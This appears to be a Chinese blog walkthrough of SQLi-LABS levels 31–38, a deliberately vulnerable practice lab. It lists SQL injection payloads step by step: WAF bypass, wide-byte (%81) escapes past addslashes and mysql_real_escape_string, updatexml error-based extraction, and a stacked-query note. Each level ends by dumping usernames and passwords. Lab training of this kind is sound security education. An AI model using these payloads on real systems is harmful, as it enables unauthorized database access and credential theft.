当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less31-38详细通关攻略

less-31 GET -Blind -IMPIDENCE MISMATCH -Having a WAF in front of web application

一、判断闭合方式

查看源代码可得

?id=1&id=1 ") ;%00

二、构造语句数据库名称

?id=1&id=-1")%0aunion%0aselect%0a1,database(),3;%00

三、构造语句数据表名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

四、构造语句查询列名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

五、构造语句查询数据信息

?id=1&id=-1")%0Aunion%0Aselect%0A1,group_concat(username,password),3%0Afrom%0Ausers;%00

less-32 GET -Bypass -custom filter adding slashes to dangerous chars

一、判断闭合方式

1%81%27%20and%201=1--+
1%81%27%20and%201=2--+

二、判断注入方式

判断闭合方式时,下列输出有反斜杠进行转义,所以我们怎么尝试单引号和双引号都不行,要先对反斜杠进行转义,添加%81。使用宽字节注入和联合注入。

三、构造语句数据库名称

-1%81' union select 1,database(),3 --+

四、构造语句数据表名称

-1%81' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

五、构造语句字段名

-1%81' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

六、查询数据信息

-1%81' union select 1,group_concat(username,password),3 from users --+

less-33 GET -Bypass AddSlashes

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

输入危险字符会有反斜杠进行转义,使用宽字节注入,%81宽字节注入可以成功利用,并根据回显信息可以知道存在报错注入。该关使用报错注入和宽字节注入的方式获取数据

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

数据库名直接使用无法找到,使用相关函数确定数据库名称。

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

users无法使用会报错可以使用十六进制编码代替。

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 34 POST - Bypass AddSlashes

一、判断注入方式

该关卡使用的POST请求传参需要我们抓包更改数据。添加特殊敏感符号会进行反斜杠转义,使用宽字节注入使反斜杠失效,可以成功逃逸并且可以得出存在报错注入。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 35 GET Bypass Add Slashes(we dont need them)integer based

一、判断闭合方式

1 and 1=1 --+

二、判断注入方式

根据判断出来的闭合方式为数字型,在尝试闭合方式时存在报错注入的条件可以使用报错注入进行信息的获取

三、构造语句数据库名称

0 and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0 and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 36 GET -Bypass MySQL_real_escape_string

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

尝试闭合方式是存在报错注入前提,使用宽字节注入和报错注入联合。

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 37 POST -Bypass MySQL-real_escape_string

一、判断注入方式

POST传参,在登录时使用BP进行抓包发送到重放器,修改username字段判断怎么利用。使用特殊字符会被反斜杠转义,%81进行逃逸。并且页面存在报错注入的使用条件,宽字节注入与报错注入联合使用。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 38 Stacked Query

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

这一关为堆叠注入,格式为 第一条语句;第二条语句。这两条为单独的sql语句那么这两天语句均可执行。可以进行增删改的操作。

其他的信息获取语句与前面的报错注入一样就不赘述了。

http://www.lryc.cn/news/609314.html

相关文章:

  • Maxscript在选择的可编辑多边形每个面上绘制一个内部圆形
  • 【高等数学】第七章 微分方程——第十节 常系数线性微分方程组解法举例
  • [硬件电路-140]:模拟电路 - 信号处理电路 - 锁定放大器概述、工作原理、常见芯片、管脚定义
  • 类与对象(中),咕咕咕
  • Zama的使命
  • 零确认双花攻击
  • 8月3日星期日今日早报简报微语报早读
  • 《从原理到实践:MySQL索引优化与SQL性能调优全解析》
  • 【Redis学习路|第一篇】初步认识Redis
  • C的运算符与表达式
  • BP神经网络:当线性模型已到尽头,如何用“人造大脑”挖掘非线性预测规律?
  • 26李林880高数第二章 一元函数微分学及其应用
  • Kafka 是什么?
  • SpringBoot项目数据脱敏(自定义注解)
  • C语言基础03——数组——习题
  • GPIO交换矩阵和IO_MUX
  • 自动驾驶控制算法——LQR控制算法
  • 直流无刷电机(一)
  • C++ <type_traits> 应用详解
  • 10.Redis 数据类型
  • Maximum Subarray Sum II
  • 【超分辨率专题】PiSA-SR:单步Diff超分新突破,即快又好,还能在线调参
  • 【前端:Html】--1.2.基础语法
  • LCL滤波器及其电容电流前馈有源阻尼设计软件【LCLAD_designer】
  • MCU中的复位生成器(Reset Generator)是什么?
  • 2025年EAAI SCI1区TOP,森林救援调度与路径规划:一种新型蚁群优化算法应用,深度解析+性能实测
  • 【Spring】Bean的作用域(单例、多例、请求、会话、Application)
  • ICCV 2025 | EPD-Solver:西湖大学发布并行加速扩散采样算法
  • Azure DevOps — Kubernetes 上的自托管代理 — 第3部分
  • Autoswagger:揭露隐藏 API 授权缺陷的开源工具